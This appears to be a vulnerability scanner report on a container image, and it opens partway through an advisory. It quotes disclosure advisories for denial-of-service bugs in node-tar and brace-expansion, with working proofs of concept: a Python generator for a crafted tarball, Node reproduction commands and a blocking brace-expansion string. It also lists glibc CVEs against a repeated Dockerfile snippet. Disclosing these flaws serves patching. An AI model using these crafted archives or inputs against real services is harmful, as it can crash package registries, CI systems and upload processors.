['longname.txt']                                                      # Python tarfile

Interpretation differential: GNU tar, libarchive (bsdtar), and Python tarfile
all extract the member longname.txt from pax-desync.tar, whereas node-tar
7.5.15 desynchronizes, raises TAR_ENTRY_INVALID (checksum failure from
landing mid-stream), and reports zero members. The negative control proves
the divergence is caused solely by the PAX size= override being applied to the
intermediary L header — when the same archive carries a PAX record without
size=, node-tar parses it identically to the reference tools
(longname.txt, file_b).

Suggested fix

When decoding a header, do not apply PAX size (or other PAX overrides) if the
header being decoded is itself an extension header. Concretely, in
src/parse.ts clear/ignore this[EX] (and this[GEX] for size) when the
header's type is ExtendedHeader, GlobalExtendedHeader, NextFileHasLongPath
(GNU L), or NextFileHasLongLinkpath (GNU K); equivalently, in
Header.decode, gate the ex?.size ?? gex?.size override on the decoded type
not being one of those extension types. This mirrors the upstream Rust fix,
which guards pax_size with
is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions.

A fix PR is being prepared against a private fork and will be linked here.

Fix PR

To be linked from a private fork of the repository (the fix will not be pushed
to any public fork or to upstream during embargo).

Credits

Reported by tonghuaroot.

medium 5.3: GHSA--r292--9mhp--454m Uncontrolled Resource Consumption

Affected range<=7.5.20
Fixed version7.5.21
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Description

Summary

node-tar (npm tar) contains an uncontrolled-recursion stack-exhaustion DoS in the internal mapHas helper used by filesFilter. When a consumer calls tar.t(...) or tar.x(...) with a non-empty member-selection list, node-tar installs a filter that closes over the recursive mapHas (src/list.ts:33-44). mapHas walks an entry path upward one path.dirname() call per recursion with no segment cap. A single crafted tar with a GNU-L (or PAX-x) long-path header can deliver a path of tens of thousands of /-separated segments (up to maxMetaEntrySize = 1 MiB). The recursion overflows the call stack, throwing an uncatchable RangeError that terminates the Node process on async/streaming consumers.

Root Cause

filesFilter (src/list.ts:27-51) is installed whenever a caller passes a member-selection list (src/list.ts:119-122, src/extract.ts:55-57). Its filter is invoked at src/parse.ts:253 (entry.ignore = entry.ignore || !this.filter(entry.path, entry)) inside Parser[CONSUMEHEADER] — and crucially outside the only try/catch in that method (which wraps new Header at src/parse.ts:179-183). mapHas recurses once per path segment with no depth limit. The Unpack maxDepth guard (src/unpack.ts:342, in [CHECKPATH]) only runs on the 'entry' event, which fires after CONSUMEHEADER has already invoked the filter — so the stack overflows before any depth guard executes. tar.t (list) has no maxDepth at all.

Impact

Unauthenticated, remotely-triggerable denial of service: a ~188-byte gzip (≈26 KB tar) crashes any service that lists or extracts selected members from an untrusted archive (package registries, CI artifact/cache restore, upload processors). On async (await tar.t(...)/tar.x(...)) and streaming/pipe consumers the RangeError escapes the promise as an uncaughtException and terminates the process — standard defensive try/catch around the async call does NOT prevent it. (The synchronous API is catchable; the async/stream paths — the dominant server pattern — are not.)

Proof of Concept

// Build a tar whose single entry has a GNU-L long path of ~12,000 "a/" segments (~26 KB),
// gzip it (≈188 bytes), then have a consumer list/extract with member selection:
const tar = require('tar');
await tar.t({ file: 'evil.tar.gz', gzip: true }, ['some-member']); // -> RangeError, process exit

Empirically reproduced on Node v24.18.0 against built dist/commonjs of node-tar 7.5.20: 188-byte gzip → 26,112-byte tar (12,000 segments) → uncaught RangeError: Maximum call stack size exceeded → process exit. A control run with no member-selection list (filter not installed) parses cleanly (exit 0), isolating mapHas as the sole cause.

Attack Chain

  1. Entry. Attacker crafts a tar with a GNU L (or PAX x) long-path header whose body is "a/"×~12000 (~26 KB), followed by a normal file entry.
    • Guard: maxMetaEntrySize caps the meta body at 1 MiB (src/parse.ts:241).
    • Bypass proof: 26 KB ≪ 1 MiB → accepted (verified: 26 KB archive parsed up to the filter).
  2. Trigger. Victim service calls tar.t({file},[sel]) or tar.x({file,cwd},[sel]) (member selection — a documented, common API).
    • Guard: Unpack.maxDepth (default 1024) at src/unpack.ts:342; decompression-ratio guard.
    • Bypass proof: maxDepth lives in [CHECKPATH] on the 'entry' event, which fires after CONSUMEHEADER's filter call — the crash occurs before it (extract exits 1 with default maxDepth). tar.t has no maxDepth. Ratio is ~139× (trivial); no total-bytes cap applies to the uncompressed meta body.
  3. Sink. this.filter(entry.path) → mapHas recurses once per / segment (src/list.ts:39).
    • Guard: try/catch in CONSUMEHEADER.
    • Bypass proof: the only try/catch wraps new Header (src/parse.ts:179-183); the this.filter(...) call at src/parse.ts:253 is outside it. The RangeError propagates out of the stream write/'data' path → uncaught exception (verified: process.on('uncaughtException') fires; async await+try/catch does NOT intercept).
  4. Impact. Node process termination; a 188-byte gzip crashes any consumer that lists/extracts selected members from untrusted archives.

Bypass Evidence

  • mapHas recursion is member-name-independent: the crash fires even when the requested members do not match the malicious entry path — the attacker only needs the consumer to use member selection.
  • Standalone mapHas overflows at 20k–30k segments; on the real streaming path (atop write → CONSUMECHUNK → CONSUMEHEADER → filter) it crashes at ≤8k segments (finder's ~12k estimate is accurate for the reachable path).
  • Control (no member list → no filter) parses cleanly (exit 0), isolating mapHas.

Affected Versions

<= 7.5.20 (npm tar). mapHas present verbatim on tag v7.5.20 (latest GitHub release and npm dist-tag latest); no segment/depth cap in src/list.ts or the CONSUMEHEADER filter path; HEAD == 7.5.20, no unreleased fix.

Suggested Fix

Rewrite mapHas iteratively (walk dirname in a while loop with a segment/visited cap), or enforce a hard path-segment limit in Header/Parser independent of maxMetaEntrySize, applied before any per-entry filter runs.

Dedup Note

Distinct from CVE-2024-28863 / GHSA-f5x3-32g6-qm9j "lack of folders depth validation" (that bounds mkdir recursion during extraction via maxDepth in Unpack[CHECKPATH] on the 'entry' event — a different sink, code path, and fix; runs after the filter and does not apply to tar.t). Also distinct from the PAX NUL/numeric-path crash advisories (improper-input-to-fs / type confusion, not recursion) and the gzip-bomb advisory (resource exhaustion on disk writes). None touch list.ts/filesFilter/mapHas or require member selection.


Reported by zx (Jace) — GitHub: @manus-use

medium 5.3: CVE--2026--59875 Uncaught Exception

Affected range<=7.5.16
Fixed version7.5.17
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.292%
EPSS Percentile21st percentile
Description

Summary

node-tar strips trailing NUL bytes from long-name (L) and long-linkpath (K) GNU extended headers but does not apply the same sanitization to equivalent fields delivered via PAX (x typeflag) extended headers. A PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim into entry.path and flows into fs.lstat() / fs.open(), which Node.js core rejects with ERR_INVALID_ARG_VALUE. The throw originates inside an FSReqCallback async chain that is not wrapped by the consumer's await/try-catch around tar.x() — it surfaces as uncaughtException and terminates the process.

This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through tar.x / tar.extract / tar.t / tar.Parser, even when the consumer follows the documented try/catch error-handling pattern.

A secondary parser-differential (CWE-436) exists because tar(1), bsdtar, and Python tarfile truncate the path at the first NUL (yielding visible.txt) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.


Root cause

Vulnerable sink — src/pax.ts:157-183

PAX KV records flow through parseKVLine. The value half (v) is assigned directly to the result object with no sanitization for embedded NUL bytes:

// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
  const n = parseInt(line, 10)
  if (n !== Buffer.byteLength(line) + 1) return set
  line = line.slice((n + ' ').length)
  const kv = line.split('=')
  const r = kv.shift()
  if (!r) return set
  const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
  const v = kv.join('=')                                 // <-- NO NUL STRIP
  set[k] =
    /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
      new Date(Number(v) * 1000)
    : /^[0-9]+$/.test(v) ? +v
    : v                                                  // <-- v with NULs lands here
  return set
}

The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between = and \n contains NUL. The result is consumed by Header / ReadEntry, where entry.path and entry.linkpath carry the embedded NUL all the way to fs.lstat().

Correctly-patched cousin sink — src/parse.ts:375-388

The equivalent code path for GNU L/K long-headers does strip NUL bytes:

// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
  const ex = this[EX] ?? Object.create(null)
  this[EX] = ex
  ex.path = this[META].replace(/\0.*/, '')               // <-- NUL strip applied
  break
}
case 'NextFileHasLongLinkpath': {
  const ex = this[EX] || Object.create(null)
  this[EX] = ex
  ex.linkpath = this[META].replace(/\0.*/, '')           // <-- NUL strip applied
  break
}

The parse.ts fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching fs.*. The PAX path produces the identical primitive but bypasses the guard.

Downstream blast radius

entry.path and entry.linkpath are consumed in:

  • src/unpack.ts → fs.lstat, fs.open, fs.symlink, fs.link, fs.mkdir
  • src/list.ts (no crash — listing tolerates NUL in strings)
  • Any consumer of the ReadEntry event that calls path.join() / fs.* on entry.path

The crash fires inside the FSReqCallback Node-internal async machinery, outside the user's await tar.x(...) Promise rejection boundary.


Proof of Concept

Artifacts

  • poc-null-byte-crash.tar — 3072 bytes — PAX path=visible.txt\x00hidden.txt
  • poc-null-linkpath-crash.tar — 2560 bytes — PAX linkpath=target\x00garbage (symlink target sink)
  • poc1-pax-prefix.py — minimal PAX-header builder (Python 3, no deps)

Tarball generator (minimal repro — Python 3)

#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os

def cksum(b):
    s = 0
    for i, x in enumerate(b):
        s += 0x20 if 148 <= i < 156 else x
    return s

def pad512(buf):
    rem = len(buf) % 512
    return buf + b'\0' * (512 - rem) if rem else buf

def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
    b = bytearray(512)
    b[0:len(name[:100])] = name[:100]
    b[100:108] = b'0000644\0'
    b[108:116] = b'0001000\0'
    b[116:124] = b'0001000\0'
    b[124:136] = ('%011o ' % size).encode()
    b[136:148] = ('%011o ' % 0).encode()
    b[148:156] = b'        '
    b[156:157] = typeflag
    b[157:157+len(linkpath[:100])] = linkpath[:100]
    b[257:265] = b'ustar\x0000'
    b[265:270] = b'root\0'
    b[297:302] = b'root\0'
    b[329:337] = b'0000000\0'
    b[337:345] = b'0000000\0'
    b[345:345+len(prefix[:155])] = prefix[:155]
    s = cksum(b)
    b[148:156] = ('%06o\0 ' % s).encode()
    return bytes(b)

def pax(records):
    body = b''
    for k, v in records:
        kv = b' ' + k + b'=' + v + b'\n'
        for digits in range(1, 8):
            total = digits + len(kv)
            if len(str(total)) == digits:
                break
        body += str(total).encode() + kv
    return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)

out  = pax([(b'path', b'visible.txt\x00hidden.txt')])  # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024  # end-of-archive

open('poc.tar', 'wb').write(out)

Reproduction

# 1. Generate tarball
python3 poc1-pax-prefix.py          # writes poc.tar (3 KB)

# 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install tar@<!-- -->7.5.16

# 3. Try to extract with documented try/catch — observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
  process.on("uncaughtException", e => {
    console.log("UNCAUGHT:", e.code, "-", e.message);
    process.exit(99);
  });
  import("tar").then(async tar => {
    try {
      await tar.x({ file: "../poc.tar", cwd: "./out" });
      console.log("NORMAL_RETURN");
    } catch (e) {
      console.log("CAUGHT_BY_USER:", e.code);
    }
  });'

Observed output (verified 2026-06-23 against tar@<!-- -->7.5.16)

UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99

The exception bypasses the user's try { await tar.x(...) } catch (e) { ... } block and lands in the global uncaughtException handler. In a typical server without that handler, the process exits.


Impact

Direct: remote DoS

Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:

  • npm registry tarball ingestion and downstream mirrors
  • GitHub Actions cache restore (actions/cache, actions/setup-* extracting toolchains)
  • Container image build pipelines that unpack layer tarballs through node tooling
  • Backup-restore services accepting user uploads
  • CI artifact processors and badge generators
  • Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs
  • Cloud functions that auto-extract uploaded archives

A correctly-coded consumer that does:

try {
  await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
  return res.status(400).json({ error: 'bad archive' });
}

does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.

Secondary: parser-differential validator bypass (CWE-436)

Tool Result for path=visible.txt\x00hidden.txt
GNU tar (tar -tvf) Lists visible.txt (truncated at NUL)
bsdtar -tvf Lists visible.txt (truncated at NUL)
Python tarfile.list() Lists visible.txt\x00hidden.txt (raw)
node-tar tar.t({file}) Emits raw NUL-bearing path (no crash)
node-tar tar.x({file}) Crashes (uncaught throw)

A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.


Suggested patch

Match the long-name handler in parse.ts — strip everything from the first NUL onward in parseKVLine value parsing:

--- a/src/pax.ts
+++ b/src/pax.ts
@@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {

   const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')

-  const v = kv.join('=')
+  const v = kv.join('=').replace(/\0.*$/, '')
   set[k] =
     /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
       new Date(Number(v) * 1000)

This matches src/parse.ts:379 and src/parse.ts:386 and closes both path and linkpath sinks in one change.

A defense-in-depth follow-up: add an explicit assert(!v.includes('\0')) (or fail-soft return set) at the top of parseKVLine so malformed PAX records that aren't path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of entry.header.atime Date objects constructed from Number(v) where v had embedded NUL).

medium 5.3: CVE--2026--59871 Incorrect Type Conversion or Cast

Affected range<=7.5.17
Fixed version7.5.18
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.410%
EPSS Percentile34th percentile
Description

Summary

A crafted 2.5KB tar archive crashes any Node.js process that extracts it. The PAX header parser coerces all-digit path values to JavaScript numbers, which causes an uncaught TypeError when downstream code calls .split('/') on the numeric value. Error handlers and strict: false cannot intercept the crash.

Details

In pax.ts line 180, parseKV converts PAX values matching /^[0-9]+$/ to numbers via +v. This applies to all fields including path and linkpath. When a PAX header sets path to an all-digit string like "12345", the value becomes the number 12345.

This number flows through Header -> ReadEntry -> Unpack.CHECKPATH, where normalizeWindowsPath(entry.path).split('/') throws a TypeError because numbers don't have .split().

The throw is synchronous during event emission and bypasses all error handling:

  • strict: false does not help
  • 'error' event handlers do not catch it
  • 'warn' handlers do not catch it
  • The TypeError propagates through the event emitter stack as an uncaughtException

Directory, SymbolicLink, and Link type entries reach CHECKPATH and crash. File type entries crash earlier in Header constructor at this.path.slice(-1), but that throw is caught and emitted as a warning only.

PoC

Create a tar archive with a PAX extended header containing an all-digit path:

PAX header body: "18 path=12345\n"
Entry type: Directory (type '5')

Extract it:

const tar = require('tar');

// All of these crash with TypeError: t.split is not a function
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test' });

// Error handlers don't help:
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test', strict: false })
  .on('error', (err) => { /* never reached */ })
  .on('warn', (code, msg) => { /* never reached */ });

The archive is ~2.5KB. The crash is deterministic on every attempt.

Impact

Denial of service. Any application or tool that extracts untrusted tar archives crashes from a single small file. This includes npm (which uses node-tar to extract packages), CI/CD pipelines, file upload processors, and backup tools. The crash cannot be caught by application-level error handling.

critical: 1 high: 1 medium: 0 low: 0 unspecified: 1glibc 2.43-r6 (apk)

pkg:apk/wolfi/glibc@2.43-r6?arch=x86_64&origin=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description

unspecified : CGA--cpvj--jqq5--26qx

Affected range<2.43-r10
Fixed version2.43-r10
Description
critical: 1 high: 1 medium: 0 low: 0 unspecified: 1glibc 2.43-r6 (apk)

pkg:apk/wolfi/glibc@2.43-r6?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description

unspecified : CGA--cpvj--jqq5--26qx

Affected range<2.43-r10
Fixed version2.43-r10
Description
critical: 1 high: 1 medium: 0 low: 0 unspecified: 1libcrypt1 2.43-r6 (apk)

pkg:apk/wolfi/libcrypt1@2.43-r6?arch=x86_64&distro=wolfi-20230201&upstream=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description

unspecified : CGA--cpvj--jqq5--26qx

Affected range<2.43-r10
Fixed version2.43-r10
Description
critical: 1 high: 1 medium: 0 low: 0 ld-linux 2.43-r6 (apk)

pkg:apk/wolfi/ld-linux@2.43-r6?arch=x86_64&origin=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description
critical: 1 high: 1 medium: 0 low: 0 libcrypt1 2.43-r6 (apk)

pkg:apk/wolfi/libcrypt1@2.43-r6?arch=x86_64&origin=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description
critical: 1 high: 1 medium: 0 low: 0 ld-linux 2.43-r6 (apk)

pkg:apk/wolfi/ld-linux@2.43-r6?arch=x86_64&distro=wolfi-20230201&upstream=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description
critical: 1 high: 1 medium: 0 low: 0 ld-linux 2.43-r6 (apk)

pkg:apk/wolfi/ld-linux@2.43-r6?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description
critical: 1 high: 1 medium: 0 low: 0 glibc-locale-posix 2.43-r6 (apk)

pkg:apk/wolfi/glibc-locale-posix@2.43-r6?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description
critical: 1 high: 1 medium: 0 low: 0 glibc-locale-posix 2.43-r6 (apk)

pkg:apk/wolfi/glibc-locale-posix@2.43-r6?arch=x86_64&distro=wolfi-20230201&upstream=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description
critical: 1 high: 1 medium: 0 low: 0 glibc-locale-posix 2.43-r6 (apk)

pkg:apk/wolfi/glibc-locale-posix@2.43-r6?arch=x86_64&origin=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description
critical: 1 high: 1 medium: 0 low: 0 libcrypt1 2.43-r6 (apk)

pkg:apk/wolfi/libcrypt1@2.43-r6?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile40th percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile30th percentile
Description
critical: 0 high: 3 medium: 1 low: 0 brace-expansion 5.0.5 (npm)

pkg:npm/brace-expansion@5.0.5

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 7.7: CVE--2026--13149 Uncontrolled Resource Consumption

Affected range>=3.0.0
<5.0.7
Fixed version5.0.7
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/S:N/AU:Y/R:U/V:D/RE:M/U:Amber
EPSS Score0.348%
EPSS Percentile27th percentile
Description

Summary

brace-expansion's expand() exhibits exponential-time - O(2ⁿ) - behavior in the number of consecutive non-expanding {} groups. A short, all-ASCII input (~90 bytes/30 groups) blocks the calling thread for minutes; a slightly longer input hangs it effectively indefinitely. Because the dominant consumers run on Node's single-threaded event loop, one small input can fully stall a worker/process.

In expand_, post is computed unconditionally at the top of the function, before the early-return branches that don't use it:

const post = m.post.length ? expand_(m.post, max, false) : [''];   // always recurses
  ...
if (!isSequence && !isOptions) {
  if (m.post.match(/,(?!,).*\}/)) {
    str = m.pre + '{' + m.body + escClose + m.post;
    return expand_(str, max, true); // restart — `post` discarded
  }
  return [str];
}

For input like a{},{},…, the first {} is non-expanding, so control reaches the {a},b} rewrite branch - but expand_ has already recursed into post over the entire remaining tail, only to throw the result away.
Each level therefore spawns two recursive expansions over essentially the same remaining work: T(n) = 2·T(n−1) ⇒ O(2ⁿ).

The max option does not mitigate this: max only bounds the output-building loops; neither the post recursion nor the rewrite recursion consults it.

Measured on 5.0.6:

groups (n) input bytes time
20 60 130 ms
24 72 1.9 s
26 78 7.8 s
30 (PoC) 90 ~2 min

Proof of concept

const { expand } = require('brace-expansion');
// 30 non-expanding groups, ~90 bytes — blocks for minutes:
expand('a{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{}');

Impact

Any application that passes attacker-influenced strings to brace-expansion.expand() - directly or transitively via minimatch/glob brace patterns - can be driven into a multi-minute-to-indefinite CPU hang by a tiny request, denying service on that thread/process.

Remediation

Upgrade to a patched release. The fix:

  1. Defers computing post until after the early-return branches (and computes it locally in the $-suffix branch), so post is only expanded when a brace set actually expands and the value is used. This alone removes the exponential.
  2. Converts the {a},b} rewrite from recursion to an in-function loop, so a long run of rewrites cannot grow the call stack.

Verified: the PoC drops from ~2 min to 0.55 ms, 5,000 groups complete in ~344 ms, and output is identical to 5.0.6 across a behavioral-equivalence suite (sequences, padding, $-prefix, a{},b}c, {},a}b, x{{a,b}}y, etc.). Post-fix complexity is ~O(n²) on this input class - acceptable for the security fix; a linear rewrite can be a non-urgent follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to expand() / glob brace patterns, or run such expansion under a timeout/worker.

high 7.5: CVE--2026--69152 Uncontrolled Resource Consumption

